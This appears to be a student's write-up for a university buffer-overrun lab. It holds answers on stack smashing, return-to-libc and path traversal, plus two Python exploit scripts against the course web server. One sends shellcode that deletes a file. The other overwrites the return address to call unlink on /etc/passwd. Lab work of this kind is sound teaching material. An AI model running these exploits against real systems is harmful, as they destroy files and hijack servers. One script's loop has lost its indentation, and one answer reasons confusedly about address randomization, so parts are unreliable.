6.033
COMPUTER SYSTEMS ENGINEERING
HANDS ON 10: BUFFER OVERRUN

JOHN WANG

1. Stack Smashing

(1) There are two syscalls, one call to unlink and another call to exit.
(2) The malicious URL is basically overrunning the buffer allocated to the url string and replacing it with code. The malicious URL first writes the shellcode for removing grades.txt in the URL. Then, the shellcode figures out where the return address is in the server code. The URL is then padded with nonsense bits until it reaches the location of the return address, and instead of allowing the code to return to its normal spot, the URL returns to the beginning of the shell code, which then executes the shell code for removing grades.txt.

2. Arc Injection

(3) No, we were unable to remove grades.txt this time. This is because the httpd-nx server does not allow you to execute code within the stack. This means that even if you overwrite the stack with shellcode that should remove grades.txt and send the return address to the beginning of this code, the httpd-nx server will prevent that code from being executed.
(4) The value at the return address is the location of unlink, while the value at P was the memory location of the filename.
(5) Yes, the values of reqpath and ebp change in the top window after restarting the server. However, the difference between the two locations does not change. The change of the reqpath and ebp would make my exploit harder to succeed, since the location of these two addresses is randomized. All the attacker has to do is shutdown and restart the webserver in order to thwart an attack, since doing this would mean that the generated url would point to the incorrect positions.
(6) The MAGIC-PATH I needed was: "../../../../../../..". This got me the contents of /etc/passwd. You cannot do it in the browser because the browser prevents you from checking other directories automatically.

3. Code for exploit-ex.py

```
#!/usr/bin/env python
import struct
import sys
import socket
import traceback
import urllib

reqpath = 0xffffdcdc
ebp     = 0xffffddf8
retaddr = ebp + 4

def build_exploit(shellcode):
  req = ("GET " +
  # First, fill up reqpath with shellcode
  urllib.quote(shellcode) +
  # Pad with "x"
  "x" * (retaddr - reqpath - len(shellcode)) +
  # Override return address with shellcode address
  urllib.quote(struct.pack("I", reqpath)) +
  " HTTP/1.0\r\n\r\n")
  return req

def send_req(host, port, req):
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  print("Connecting to %s:%d..." % (host, port))
  sock.connect((host, port))

  print("Connected, sending request...")
  sock.send(req)

  print("Request sent, waiting for reply...")
  rbuf = sock.recv(1024)
  resp = ""
  while len(rbuf):
  resp = resp + rbuf
  rbuf = sock.recv(1024)

  print("Received reply.")
  sock.close()
  return resp

if len(sys.argv) != 2:
  print("Usage: " + sys.argv[0] + " host:port")
  exit()
(host, port) = sys.argv[1].split(":")
port = int(port)

try:
  shellfile = open("shellcode.bin", "r")
  shellcode = shellfile.read()
  req = build_exploit(shellcode)
  print("HTTP request:")
  print(req)

  resp = send_req(host, port, req)
  print("HTTP response:")
```

```
  print(resp)
except:
  print("Exception:")
  print(traceback.format_exc())
```

4. Code for exploit-nx.py

```
#!/usr/bin/env python
import sys
import socket
import struct
import traceback
import urllib

reqpath = 0xffb705dc
ebp     = 0xffb706f8
unlink  = 0x8048970
beef    = 0xdeadbeef
retaddr = ebp + 4
fname = "/etc/passwd"

def encode(p):
  return urllib.quote(struct.pack("I", p))

def build_exploit():
  req = ("GET " +
         "x" * (retaddr - reqpath) +
         encode(unlink) +
         encode(beef) +
         encode(retaddr + 12) +
         fname +
         " HTTP/1.0\r\n\r\n")

  return req

def send_req(host, port, req):
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  print("Connecting to %s:%d..." % (host, port))
  sock.connect((host, port))

  print("Connected, sending request...")
  sock.send(req)

  print("Request sent, waiting for reply...")
  rbuf = sock.recv(1024)

  resp = ""
  while len(rbuf):
    resp = resp + rbuf
    rbuf = sock.recv(1024)

  print("Received reply.")
  sock.close()
  return resp

if len(sys.argv) != 2:
  print("Usage: " + sys.argv[0] + " host:port")
  exit()
(host, port) = sys.argv[1].split(":")
port = int(port)

try:
  req = build_exploit()
```

```
  print("HTTP request:")
  print(req)

  resp = send_req(host, port, req)
  print("HTTP response:")
  print(resp)
except:
  print("Exception:")
  print(traceback.format_exc())
```